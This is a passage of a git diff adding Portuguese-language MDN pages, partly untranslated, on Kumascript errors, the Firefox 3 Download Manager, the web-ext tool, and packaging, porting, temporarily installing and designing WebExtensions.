Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated output, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.
+
+ +

Erro de scripting numa página

+ +
+
Sintoma
+
You see a scary red box like this on a page:
+ There was a scripting error on this page. While it is being addressed by site editors, you can view partial content below. More information about this error
+
Causa
+
This is caused by a Kumascript error in a macro on the page. This issue is less common in production now that macros are stored on Github and go through a review and testing process before being put into production. You might see it if you modify a macro call or its arguments in a way that breaks the macros. You might also see it  if you are editing macros on a local build of the MDN platform.
+
Solução
+
If you modified a macro call, you can check the name and parameters of the macro against the Kumascript Github repo. If you are in the midst of modifying the macro in question, Troubleshooting Kumascript errors may be helpful.
+
+ +

Scripting error while previewing a page

+ +
+
Sintoma
+
You are editing a page, and click the Preview button. The preview of the page contains a scripting error message (as shown in the previous section).
+
Causa
+
Either there was an existing scripting error in the page you were editing, or you have introduced an error, possibly by changing arguments to a macro.
+
Solução
+
+

Be assured that as long as you have not modified or added any macros or templates in the page, you can safely ignore this error; you can expect it to go away when the edited page is finally saved and viewed normally again (unless the error was already there in the normal view).

+ +

If you are still unsure whether you introduced the error, then you can open a copy of the normal page in a new window, enter Edit mode, and immediately click Preview. If any errors occur now, you can be confident that you did not cause them, and that they will likely disappear as previously described. As for your changes, if these new errors are the same as the old errors from the old window, then  close the new window and continue working in the old one.  However, if they are different errors, then you indeed might have damaged something in the old window, so just start carefully copying your changes to the new window, and click Preview after each copy.  If the old errors suddenly appear here too, then your last changes have likely caused them, and you should carefully examine that work.  Finally, as a side benefit, if you click Preview frequently and always leave that Preview window open, you will have a quick but unsaved copy of most of your changes in case the editor fails or somehow loses your work (as may happen when trying to use Discard.)

+ +

 

+
+
 
+
diff --git a/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html b/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html new file mode 100644 index 0000000000..7b8fdf1bab --- /dev/null +++ b/files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html @@ -0,0 +1,21 @@ +--- +title: Melhorias do Gerenciador de Downloads no Firefox 3 +slug: Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 +tags: + - Firefox 3 + - Gerenciador_de_Downloads +--- +

{{ Fx_minversion_header(3) }} O Firefox 3 oferece melhoramentos ao Gerenciador de Downloads que permitem múltiplas listas de progresso, o uso da API Storage para gerenciamento de dados, resumo do download e mais. Em adição, você pode aumentar ou substituir a interface do Gerenciador de Downloads implementando a nova interface {{ Interface("nsIDownloadManagerUI") }}.

+

{{ Note("Estas mudanças irão exigir algumas modestas revisões para usar o código do Gerenciador de Downloads; vários outros métodos tiveram mudanças menores.") }}

+

Interfaces do Gerenciador de Downloads

+
{{ Interface("nsIDownloadManager") }}
Dá acesso a aplicações e extensões do Gerenciador de Downloads, o que lhes permite adicionar e remover arquivos da lista de download, recuperar informações sobre downloads passados e atuais, e solicitar notificações quanto ao progresso dos downloads.
{{ Interface("nsIDownload") }}
Descreve um arquivo na fila de download; estes arquivos podem correntemente estar listados para donwload, ativamente sendo baixados ou finalizados.
{{ Interface("nsIDownloadProgressListener") }}
Aplicações e extensões implementam esta interface das mudanças no estado dos downloads.
{{ Interface("nsIDownloadManagerUI") }}
Implementa esta interface a substituir ou aumentar a interface de usuário do Gerenciador de Downloads.
+
+

Outra documentação do Gerenciador de Downloads

+
Download Manager preferences
Este artigo lista as preferências usadas pelo Gerenciador de Downloads, bem como os seus valores padrão.
The Download Manager schema
Este artigo descreve o formato de banco de dados usado para armazenar e rastrear as informações sobre cada download.
+
+

Exemplos

+
Monitoring downloads
Um exemplo mostrando como usar as novas APIs do Gerenciador de Downloads para criar uma janela de log do download que mostra todos os downloads passados e atuais e seus estados, incluindo a hora em que foram iniciados e finalizados, a velocidade do download e mais. Também demonstra a API Storage.
+
+

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3", "ja": "ja/Download_Manager_improvements_in_Firefox_3" } ) }}

diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html new file mode 100644 index 0000000000..a6eb21ffc1 --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html @@ -0,0 +1,304 @@ +--- +title: Primeiros passos com web-ext +slug: Mozilla/Add-ons/WebExtensions/Primeiros_passos_com_web-ext +tags: + - Extensão da Web + - Ferramentas + - Guía + - Instalação + - Testes + - empacotamento + - web-ext +translation_of: Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext +--- +
{{AddonSidebar}}
+ +

web-ext é uma ferramenta da linha de comando desenhada para acelerar várias partes do processo de desenvolvimento da extensão, tornado o desenvolvimento mais rápido e fácil. Este artigo explica como instalar e utilizar web-ext.

+ +

Instalação

+ +

web-ext is a node-based application that you install with the nodejs/npm tool. Install web-ext using the following command:

+ +
npm install --global web-ext
+ +

web-ext requires the current LTS (long-term support) version of NodeJS.

+ +

To test whether the installation worked run the following command, which displays the web-ext version number:

+ +
web-ext --version
+ +

Utilizar web-ext

+ +

Before you start using web-ext, locate an example extension to use—if you don't have one, use one from the webextensions-examples repo.

+ +

Testar uma extensão

+ +

Test an extension in Firefox by cd'ing into your extension's root directory and entering:

+ +
web-ext run
+ +

This starts Firefox and loads the extension temporarily in the browser, just as you can on the about:debugging page.

+ +

See the run reference guide to learn more.

+ +

Recarregamento automático da extensão

+ +

The run command watches your source files and tells Firefox to reload the extension after you edit and save a file. For example, if you changed the name property in your manifest.json file, Firefox displays the new name. This makes it easy to try out new features because you can see the effect immediately. The automatic reloading feature is active by default, you use it like this:

+ +
web-ext run
+ +

You can also press the r key in the web-ext terminal to trigger an extension reload.

+ +

If you experience unexpected behavior with the reloading feature, please file a bug. You can also disable reloading like this:

+ +
web-ext run --no-reload
+ +
+

O reccaregamento da extensão só é suportado a paratir da versão do Firefox 49 ou superior .

+
+ +

Testar em versões diferentes do Firefox

+ +

To run your extension in a version of Firefox Desktop other than the default, use the --firefox option to specify a full path to the binary file. Here is an example for Mac OS:

+ +
web-ext run --firefox=/Applications/FirefoxNightly.app/Contents/MacOS/firefox-bin
+ +

On Windows, the path needs to include firefox.exe, for example:

+ +
web-ext run --firefox="C:\Program Files\Mozilla Firefox\firefox.exe"
+ +

See the run command reference to learn more.

+ +

Testar no Firefox 48

+ +

Firefox 48 was the first stable version to use the WebExtension platform, but it doesn't allow web-ext to install an extension remotely. You need to run your extension in Firefox 48 using:

+ +
web-ext run --pre-install
+ +

Testar no Firefox para Android

+ +

To run your extension in Firefox for Android, follow these instructions to set up your computer and device.

+ +

With your device connected to your development computer, run:

+ +
web-ext run --target=firefox-android
+ +

This command displays the device ID for your connected Android device or devices. If you don't see a list of device IDs, make sure you set up the device for development correctly.

+ +

Now, add the device ID to the command:

+ +
web-ext run --target=firefox-android --android-device=<device ID>
+ +

If you've multiple versions of Firefox installed, you may need to choose a specific version. For example:

+ +
web-ext run --target=firefox-android ... --firefox-apk=org.mozilla.firefox
+ +

The first time you run this command, you may need to grant Android permissions for the APK. This is because the command needs read / write access to the device storage, so that Firefox for Android can run on a temporary profile. The web-ext output guides you in how to grant these permissions.

+ +

The web-ext command does not alter any of your existing Firefox for Android preferences or data. To see more information about how web-ext is interacting with your device, run the command with --verbose.

+ +

See the run command reference to learn more.

+ +

Depurar no Firefox para Android

+ +

When using web-ext run to test an extension on Firefox for Android, you'll notice a message like this in the console output:

+ +
You can connect to this Android device on TCP port 51499
+
+ +

This is a remote debugger port that you can connect to with Firefox's developer tools. In this case, you'd connect to host localhost on port 51499.

+ +

See this guide for more information about debugging an extension on Firefox for Android.

+ +

Testar extensões não assinadas

+ +

When you execute web-ext run, the extension gets installed temporarily until you close Firefox. This does not violate any signing restrictions. If instead you create a zip file with web-ext build and try to install it into Firefox, you will see an error telling you that the add-on is not signed. You will need to use an unbranded build or use a development build to install unsigned extensions.

+ +

Utilizar um perfil personalizado

+ +

By default, the run command will create a temporary Firefox profile. To run your extension with a specific profile use the --firefox-profile option, like this:

+ +
web-ext run --firefox-profile=your-custom-profile
+ +

This option accepts a string containing the name of your profile or an absolute path to the profile directory. This is helpful if you want to manually configure some settings that will always be available to the run command.

+ +

Manter alterações de perfil

+ +

The run command does not save any changes made to the custom profile specified by --firefox-profile. To keep changes, add this option:

+ +
web-ext run --keep-profile-changes --firefox-profile=your-custom-profile
+ +

This may be helpful if your extension has many different run states.

+ +
+

This option makes the profile specified by --firefox-profile completely insecure for daily use. It turns off auto-updates and allows silent remote connections, among other things. Specifically, it will make destructive changes to the profile that are required for web-ext to operate.

+
+ +

Empacotar a sua extensão

+ +

Once you've tested your extension and verified that it's working, you can turn it into a package for submitting to addons.mozilla.org using the following command:

+ +
web-ext build
+ +

This outputs a full path to the generated .zip file that can be loaded into a browser.

+ +
+

The generated .zip file doesn't work on Firefox without signing or adding applications.gecko.id key into manifest.json.  For more information, please refer WebExtensions and the Add-on ID page.

+
+ +

web-ext build is designed to ignore files that are commonly not wanted in packages, such as .git, node_modules, and other artifacts.

+ +

See the build reference guide to learn more.

+ +

Assinar a sua extensão para distribuição

+ +

As an alternative to publishing your extension on addons.mozilla.org, you can self-host your package file but it needs to be signed by Mozilla first. The following command packages and signs a ZIP file, then returns it as a signed XPI file for distribution:

+ +
web-ext sign --api-key=$AMO_JWT_ISSUER --api-secret=$AMO_JWT_SECRET 
+ +

The API options are required to specify your addons.mozilla.org credentials.

+ + + +

See the sign reference guide to learn more.

+ +

Assinar as extensões sem uma Id. explicita

+ +

web-ext supports signing extensions that do not declare the applications.gecko.id property in their manifest. The first time you sign an extension without an explicit ID, addons.mozilla.org will generate an ID and web-ext will save it to .web-extension-id in the working directory. You should save the ID file so that you can sign future versions of the same extension. If you lose the ID file, you will have to add back the applications.gecko.id property or use the --id option when signing, for example:

+ +
web-ext sign --api-key=... --api-secret=... --id="{c23c69a7-f889-447c-9d6b-7694be8035bc}"
+ +

Assinar num ambiente restringido

+ +

If you're working in an environment that restricts access to certain domains, you can try using a proxy when signing:

+ +
web-ext sign --api-key=... --api-secret=... --api-proxy=https://yourproxy:6000
+ +

See the --api-proxy option to learn more.

+ +

The following domains are used for signing and downloading files:

+ + + +

Verificar com o código "lint"

+ +

Before trying out your extension with the run command or submitting your package to addons.mozilla.org, use the lint command to make sure your manifest and other source files do not contain any errors. Example:

+ +
web-ext lint
+ +

This uses the addons-linter library to walk through your source code directory and report any errors, such as the declaration of an unknown permission.

+ +

See the lint reference guide to learn more.

+ +

Definindo as predefinições de opção num ficheiro de configuração

+ +

You can specify --config=my-config.js to set default values for any option. Here is an example with the build command:

+ +
web-ext --config=my-config.js build
+ +

The file should be a CommonJS module as understood by NodeJS and must export each configuration value. Here is how you would set the default value of --verbose to true:

+ +
module.exports = {
+  verbose: true,
+};
+ +

If you want to specify options that only apply to a specific command, you nest the configuration under the command name. Here is an example of adding configuration for --overwrite-dest that only applies to the build command as well as --firefox that only applies to the run command:

+ +
module.exports = {
+  // Global options:
+  verbose: true,
+  // Command options:
+  build: {
+    overwriteDest: true,
+  },
+  run: {
+    firefox: 'nightly',
+  },
+};
+ +

To create a configuration key for a command line option, you remove the preceding dashes and convert the name to camel case. As you can see from this example, --overwrite-dest was converted to overwriteDest.

+ +

If an option can be specified multiple times on the command line then you define it as an array. For example, here is how to specify multiple --ignore-files patterns:

+ +
module.exports = {
+  ignoreFiles: [
+    'package-lock.json',
+    'yarn.lock',
+  ],
+};
+ +

Automatic discovery of configuration files

+ +

web-ext will load existing configuration files in the following order:

+ + + +

If a home directory config and a local directory config define the same option, the value from the latter file will be used.

+ +

To disable automatic loading of configuration files, set this option:

+ +
web-ext --no-config-discovery run
+ +

To diagnose an issue related to config files, re-run your command with --verbose. This will tell you which config file affected which option value.

+ +

Specifying different source and destination directories

+ +

The preceding commands use default directories for the extension source and artifact creation (for example, built .zip files). The defaults are:

+ + + +

You can specify different source and destination directories using the --source-dir and --artifacts-dir options when running your commands. Their values can be relative or absolute paths, but must always be specified as strings. Here is an example of specifying both options when building an extension:

+ +
web-ext build --source-dir=webextension-examples/notify-link-clicks-i18n --artifacts-dir=zips
+ +

Outputting verbose messages

+ +

To see in detail what web-ext is doing when you run a command, include the --verbose option. For example:

+ +
web-ext build --verbose
+ +

Viewing all commands and options

+ +

You can list all commands and options like this:

+ +
web-ext --help
+ +

You can list options for a specific command by adding it as an argument:

+ +
web-ext --help run
+ +

Detecting temporary installation

+ +

Your extension can detect whether it was installed using web-ext run, rather than as a built and signed extension downloaded from addons.mozilla.org. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event and check the value of details.temporary.

+ +

Using web-ext from a script

+ +

You can use web-ext as a NodeJS module. Here is more information, with example code.

+ +

Consulte também

+ + diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html new file mode 100644 index 0000000000..acc5d21d53 --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html @@ -0,0 +1,62 @@ +--- +title: Publicar a sua extensão +slug: Mozilla/Add-ons/WebExtensions/Publicar_a_sua_extensao +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Package_your_extension_ +--- +
{{AddonSidebar}}
+ +

 

+ +
+
+

Packaged extensions in Firefox are called "XPI files", which are ZIP files with a different extension.

+ +

You don't have to use the XPI extension when uploading to AMO.

+
+
+ +

 

+ +

During development, your extension will consist of a directory containing a manifest.json file and the other files it needs—scripts, icons, HTML documents, and so on. You need to zip these into a single file for uploading to AMO.

+ +

If you're using web-ext, use web-ext build to package your extension. Otherwise, follow the instructions below for your chosen operating system.

+ +
+

Dica: The ZIP file must be a ZIP of the extension's files themselves, not of the directory containing them.

+
+ +

Windows

+ +
    +
  1. Abra a pasta com os seus ficheiros da extensão.
  2. +
  3. Selecione todos os ficheiros.
  4. +
  5. Clique direito e escolha "Enviar para" → Pasta Comprimida (zipped).
  6. +
+ +

+ +

Mac OS X

+ +
    +
  1. Open the folder with your extension's files.
  2. +
  3. Select all of the files.
  4. +
  5. Right click and choose Compress n Items.
  6. +
+ +

+ +
+ +
+ +

Linux / Mac OS X Terminal

+ +
    +
  1. Open Terminal.
  2. +
  3. Open the directory containing your extension's files,  using the command
    + cd path/to/my-extension/
  4. +
  5. ZIP the content of the directory, using the command
    + zip -r -FS ../my-extension.zip *
  6. +
diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html new file mode 100644 index 0000000000..006ecce85c --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html @@ -0,0 +1,22 @@ +--- +title: Conversão de uma extensão do Google Chrome +slug: Mozilla/Add-ons/WebExtensions/Trasnsferir_extensao_Google_Chrome +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension +--- +
{{AddonSidebar}}
+ +

As extensões desenvolvidas com as APIs de Extensão da Web são preparadas para compatibilidade entre navegadores: em grande medida, a tecnologia é diretamente compatível com a API de extensão suportada pelo Google Chrome e Opera. As extensões escritas para estes navegadores irão, na maioria do casos, ser executadas no Firefox com apenas algumas alterações. Quase todas das  APIs de extensão são suportadas, utilizando as funções de chamada sob o espaço de nome  chrome, o mesmo que Chrome. As únicas APIs que não são suportadas no nome de espaço chrome são aquelas que são intentionalmente incompatíveis com o Chrome. Nesses casos, a página da documentação de API irá declarar explicitamente que só é suportado no espaço do nome browser . O processo de transferir uma extensão do Chrome para Opera é como isto:

+ +
    +
  1. Reveja a sua utilização das funcionaldiades de manifest.json e APIs da Extensão da Web contra a referência de incompatibilidade do Chrome. Se estiver a utilizar as funcionalidades ou APIs que ainda não são suportadas no Firefox, poderá não conseguir converter ainda a sua extensão. A Mozilla fornece um serviço que pode ajudar a automatizar este passo: Teste de Compatibilidade de Extensão para Firefox (inglês).
  2. +
  3. Instale a sua extensão no Firefox e teste-a.
  4. +
  5. Se tiver quaisquer problemas, contacte-nos em lista de endereços ou #webextensions no IRC.
  6. +
  7. Submeta o seu extra em AMO para assinar e distribuir
  8. +
+ +

Se estava dependente da opção da linha de comando do Chrome para carregar uma extensão descompactada, consulte a ferramenta web-ext que automatiza a instalação temporária no Firefox para desenvolvimento.

+ + diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html new file mode 100644 index 0000000000..1898b1712a --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html @@ -0,0 +1,81 @@ +--- +title: Conversão de uma extensão legada do Firefox +slug: Mozilla/Add-ons/WebExtensions/Conversao_de_uma_extensao_legada_do_firefox +translation_of: Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on +--- +
{{AddonSidebar}}
+ +

Se desenvolveu uma extensão do Firefox utilziando XUL/XPCOM ou SDK de EXtras, esta página irá ajudá-lo a migraar a sua extensão para utilizar as APIs das Extensões da Web. O padrão para criar extensões para o Firefox é para utilizar as APIs das Extensões da Web. Este será a único tipo de extensão suportado no Firefox no fim de novembro de 2017, com o lançamento da versão 57 do Firefox.

+ +

Início rápido

+ +
    +
  1. Get an idea of the main things you'll have to change in your extension: + +
  2. +
  3. Rewrite your extension code. See below for migration paths for different types of extensions. From Firefox 51 onwards, you can embed an extension built using WebExtension APIs in a bootstrapped extension or an SDK add-on, and can thus port a legacy extension a piece at a time, and have a working extension at each step. See Embedded WebExtensions for more information.
  4. +
  5. When you're ready to submit the WebExtension version of your extension to AMO... wait a minute... are you truly ready? Because of the extensions permissions model, you cannot revert from WebExtensions back to using a legacy extension format. So test thoroughly, because this is a permanent one-way trip. Also, see the hybrid example below. If you're not ready, you can embed your WebExtension in a legacy extension container, which allows you to test your extension migration but still go back if needed in an emergency.
  6. +
  7. When you're really ready to submit the WebExtension version of your extension to AMO, first port your old add-on ID to the new WebExtension manifest.json file. Your extension must have the same ID as previous versions. Copy the value in the "id" field from your package.json file into the id field in the applications section of the WebExtension manifest.json file. Then you can submit your extension update to AMO as your normally would.
  8. +
+ +
+

Note that this is a one-way conversion: You cannot update an extension using WebExtensions to use a legacy technology. This means that you must be sure that you are ready to commit to using WebExtension APIs before you submit the updated add-on to AMO.

+
+ +

Camnihos de migração

+ +

Extensões SDK

+ +

Here is the comparison chart showing SDK APIs and their WebExtensions format counterparts. If you don't see the APIs you need to port to use WebExtensions APIs, look below to learn how to request APIs and also how to implement them.

+ +

Extensões XUL/XPCOM

+ +

Here is the comparison chart showing XUL/XPCOM APIs and their WebExtensions format counterparts. If you don't see the APIs you need to port to use WebExtension APIs, look below to learn how to request APIs and also how to implement them.

+ +

Migração parcial

+ +

An Embedded WebExtension is an extension that combines two types of extensions in one, by incorporating a WebExtension inside of a bootstrapped or SDK extension. If you have a legacy extension that writes data to the filesystem, and you’re planning to port it to WebExtensions, Embedded WebExtensions are available to help you transition. Embedded WebExtensions can be used to transfer the stored data of your add-on to a format that can be used by WebExtensions. This is essential because it lets you to convert your users without the need for them to take any actions.

+ +

It’s important to emphasize that Embedded WebExtensions are intended to be a transition tool, and will not be supported past Firefox 57. They should not be used for add-ons that are not expected to transition to WebExtensions.

+ +

Não vê as APIs das Extensões da Web que precisa?

+ +

Develop WebExtension APIs for Firefox - If you're experienced with Mozilla infrastructure and would like to develop WebExtensions APIs directly for Firefox, here is a list of approved APIs that you can start contributing to.

+ +

Experiment with new WebExtension APIs - If you want to prototype and tinker with WebExtensions APIs without having to build Firefox, WebExtensions Experiments is for you!

+ +

Request a new WebExtensions API - If you want to request a new WebExtensions API, please read this page.

+ +

Ferramentas

+ + + +

Documentação

+ + + +

Contactar

+ + diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html new file mode 100644 index 0000000000..47730abceb --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html @@ -0,0 +1,50 @@ +--- +title: Instalação temporária no Firefox +slug: Mozilla/Add-ons/WebExtensions/Instalacao_temporaria_no_Firefox +tags: + - Extensões da Web +translation_of: Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox +--- +
{{AddonSidebar}}
+ +

Este artigo descreve como um programador de extra (add-on) pode instalar temporariamente uma extensão no Firefox para testes e depuração. A extensão permanecerá instalada até que reinicie o Firefox. Pode utilizar este método com qualquer tipo de extensão sem reinício, incluindo as extensões bootstrapped e extras de Add-on SDK.

+ +

Note that this is not how end users should install add-ons in Firefox. End users will install add-ons by downloading and opening packaged add-ons that have been signed by Mozilla. To learn how an extension developer can get an add-on packaged and signed, see Publishing your extension.

+ +

To install an extension temporarily:

+ + + +

The extension will be installed, and will stay installed until you restart Firefox.

+ +

{{EmbedYouTube("cer9EUKegG4")}}

+ +

Recarregar uma extensão temporária

+ +

Starting in Firefox 48, there's a new button labeled "Reload" next to the extension's entry in about:debugging:

+ +

This does what it says:

+ + + +

{{EmbedYouTube("NuajE60jfGY")}}

+ +
+

Note that in Firefox 48 only, "Reload" does not update the extension's name and description that are displayed in about:debugging and about:addons. This is fixed in Firefox 49.

+
+ +

Utilizar a linha de comando

+ +

If you are already using the command line for development, check out the web-ext tool. It automates the temporary installation step and automatically reloads your extension when its source code changes.

+ +

Detetar instalaçao temporária

+ +

Your extension can detect whether it was installed from about:debugging rather than as a built and signed extension downloaded from addons.mozilla.org. Listen for the {{WebExtAPIRef("runtime.onInstalled")}} event, and check the value of details.temporary.

diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html new file mode 100644 index 0000000000..0b3aba116e --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html @@ -0,0 +1,159 @@ +--- +title: As melhores práticas de experiência do utilizador +slug: >- + Mozilla/Add-ons/WebExtensions/As_melhores_praticas_de_experiencia_do_utilizador +tags: + - Extensões + - Extras + - Guía + - IU + - UX +translation_of: Mozilla/Add-ons/WebExtensions/User_experience_best_practices +--- +
{{AddonSidebar()}}
+ +

As melhores extensões do Firefox fornecem aos utilizadores uma nova funcionalidade ou recurso que corresponde a uma necessidade. Ao corresponder a essa necessidade irá ajudar os utilziadores a trabalhar de uma maneira mais inteligente ou eficiente, ou a obter mais prazer com a sua experiência de navegação.

+ +

You will also want to make sure your users have a great experience using your extension and as a result give it great feedback and a good rating on addons.mozilla.org (AMO).

+ +

Much has been written about what makes software usable. If you are new to the subject, a good place to start is Jakob Nielsen’s Usability Heuristics. We recommend, whether you are new to extension development or a seasoned pro, using Nielsen’s Heuristics as a checklist when testing your user experience (UX).

+ +

So, here we discuss much more specific Firefox and browser extension UX features, offering advice and suggestions that will help you build an extension that delights your users.

+ +

Seja Firefoxy

+ +

Your users have chosen Firefox for a reason, possibly several reasons, so match your extension’s philosophy, features, and look and feel to that of Firefox.

+ +

Design values

+ +

To best meet the needs of Firefox users, align with the Firefox values.

+ +

The Firefox Design Values state that we respect the user's privacy and sovereignty and do not surprise them. We start users with smart defaults on the functionality they want to use and enable them to customize those to their personal preferences so that they are in full control of their experience. We add humor and whimsy to our design and pay attention to details, quality, and performance. Local differences in a global world are important to us, and we help people make sense of the web in clear language.

+ +

Apresentação e impressão

+ +

To provide your extensions with the best long term fit to Firefox, align with the Firefox Photon Design System. Following Photon will ensure that your extension integrates with the Firefox experience and will make it easier for people to use.

+ +

Mantenha-a focada

+ +

An extension is best when it is centered around one main use case, addressing that use case as well as possible for the target audience. It should add one function or set of closely related functions to the browser, modify a function of the browser, or modify web pages. Determine if you have achieved this by asking whether you can easily communicate the features and purpose of the extension in three (short) sentences or less.

+ +
+

A short summary description of your extension is also very useful when it comes to creating its listing on AMO, see Make sure your summary is just long enough for more details.

+
+ +

Comece agora mesmo

+ +

Ensure that your extension is ready to be used immediately after installation. It should be optimized for its main use case, and work as expected for most users without the need for customization.

+ +

Do not expect your users to read detailed instructions, other content, or ask them to configure the extension to use it. Doing so could mean they never get started with your extension and, if they do, could result in poor reviews.

+ +

Dê aos utilizadores o que eles precisam, onde eles precisam

+ +

Choosing the right way or combination of ways to make your extension's functionality available to the user can have a significant effect on usability. Asking a few simple questions about your extension’s functionality can quickly guide you to the right choices:

+ +

A minha extensão funciona na maioria dos sites da Web e páginas da Web?

+ +

If your extension provides the user with features they can use on almost every website or page, give the user access to it from a toolbar button using the browser action. This might include providing access to your image editor or opening a page from your website.

+ +

+ +

Where you have several features you want to give the user access, you can add a popup to the button.

+ +

A minha extensão funciona apenas em alguns sites da Web e páginas?

+ +

If your extension offers a feature for a type of web page or specific domains, give the user access to it from an address bar button using a page action. This might include providing access to your RSS reader on pages with RSS feeds or providing an extended feature to pages on your website.

+ +

+ +

Where you have several features you want to give the user access, you can add a popup to the button.

+ +

A minha extensão precisa de mostrar informação ou oferecer ações em paralelo com as páginas da Web?

+ +

If your extension includes information or actions that a user would want immediate access to while viewing any web page, use a sidebar. This might include notes the user can make about a page’s content or a feature offering various font substitutions to improve readability.

+ +



+ +

A minha extensão oferece funcionalidade especifica para o conteúdo da página ou outras funcionalidades do navegador?

+ +

If your extension offers features the user might want to access in context, add them to an appropriate context menu. This might include offering access to an image editor on the image context menu or offering extended copy features on the context menu for selected page content.

+ +

Example of content menu items added by a WebExtension, from the context-menu-demo example

+ +

A minha extensão tem definições que o utilizador pode ajustar?

+ +

If your extension enables the user to change and save settings that affect the behavior of the extension, use an options page to provide a standard Preferences link to settings from the Add-on Manager.

+ +

Typical preferences button, to access an extension's settings, from the Add-on Manager

+ +

A minha extensão precisa de recolher muita informação ou exibir conteúdo em adição aos separadores atuais?

+ +

Where your extension needs to gather or display significant amounts of information (more than is suitable for an alert or would benefit from additional formatting) use bundled web pages to deliver forms and similar content.

+ +

Example of a simple bundled page displayed as a detached panel.

+ +

A minha extensão tenta ajudar o utilizador a entrar as páginas da Web ou conteúdo?

+ +

Where your extension includes a use case to locate web pages or content, for example, offering a site specific search, use address bar suggestions to deliver those recommendations.

+ +

Example showing the result of the firefox_code_search WebExtension's customization of the address bar suggestions.

+ +

A minha extensão oferece ferramentas para os programadores?

+ +

Where you are providing tools for developers, add them to the Firefox developer tools using developer tools panels.

+ +

Mantenha o utilizador informado

+ +

Ensuring the user knows what will happen, is happening, and has happened in your extension is an essential part of building trust and ensuring a happy user.

+ +

Diga ao utilizador o que irá acontecer, antes que aconteça

+ +

Users should understand what will happen when they click a button. In addition to a meaningful, descriptive button label, provide tooltips that describe the action that the button will perform.

+ +
+

Do not put the name of the extension alone in the tooltip, unless it is descriptive of the action the button will perform.

+
+ +

Do not use the tooltip for any other types of information such as elaborate statistics about your extension. Keep the tooltip content simple and focused on what will happen when the user clicks the button.

+ +

Se é realmente importante e o utilizador afastou-se, notifique-os

+ +

If your extension has completed a critical, long running background task, when the task completes use the operating system’s native notifications to update the user. This can be useful where the user may not be focusing on the extension, or the browser, when the process finishes. However, use sparingly. If it is sufficient for the user to discover that a process has completed when they return to the browser or extension, do not use notifications.

+ +

+ +

Utilizar browserAction badges sparingly

+ +

You can add a badge over the toolbar icon of a browserAction, but do so sparingly to inform users about important events. Do not use them to provide regular or persistent status updates.

+ +

When it comes to coloring a badge, using one of four colors for notifications of different severity is recommended:

+ + + +
+

Use of Firefox colors is suggested, for more details see Firefox Colors. However, for compatibility with Chrome and Opera free color selection is supported.

+
+ +

Testar, testar, e depois testar novamente

+ +

Testing is a vital part of creating an outstanding UX for your extension. There are two key aspects of testing your UX:

+ +
    +
  1. Test across devices and platforms to ensure your extension works and performs well in as many places as possible. This includes considering factors such as the user’s screen size and resolution—just because your extension looks good and is easy to use on your desktop monitor does not mean it looks as good and works as well on a smaller laptop screen, or, indeed, vice versa.
  2. +
  3. Test with as many users as possible. Do not assume that you know your audience, as people’s backgrounds and experience can make a huge difference to how they interact with your extension. So, allow for user testing as part of your extension’s development.
  4. +
+ +

Dicas de teste:

+ + diff --git a/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html new file mode 100644 index 0000000000..a462a1c02d --- /dev/null +++ b/files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html @@ -0,0 +1,78 @@ +--- +title: Extensões e a Id. do extra +slug: Mozilla/Add-ons/WebExtensions/ExtennsoesWeb_e_a_id_do_extra +tags: + - Extensões da Web + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID +--- +
{{AddonSidebar}}
+ +
+

Os extras do Firefox contêm uma Id. única que é utilziada para distinguir este extra de qualquer outro extra do Firefox.

+ +

Este artigo descreve como as Ids. de extra são tratados para as extensões criadas com APIs WebExtensions.

+
+ +

Firefox add-ons contain a unique identifier which is used both inside Firefox itself and on the addons.mozilla.org (AMO) website. For example, it's used by Firefox to check for updates to installed add-ons and to identify which objects (such as data stores) are controlled by this add-on.

+ +

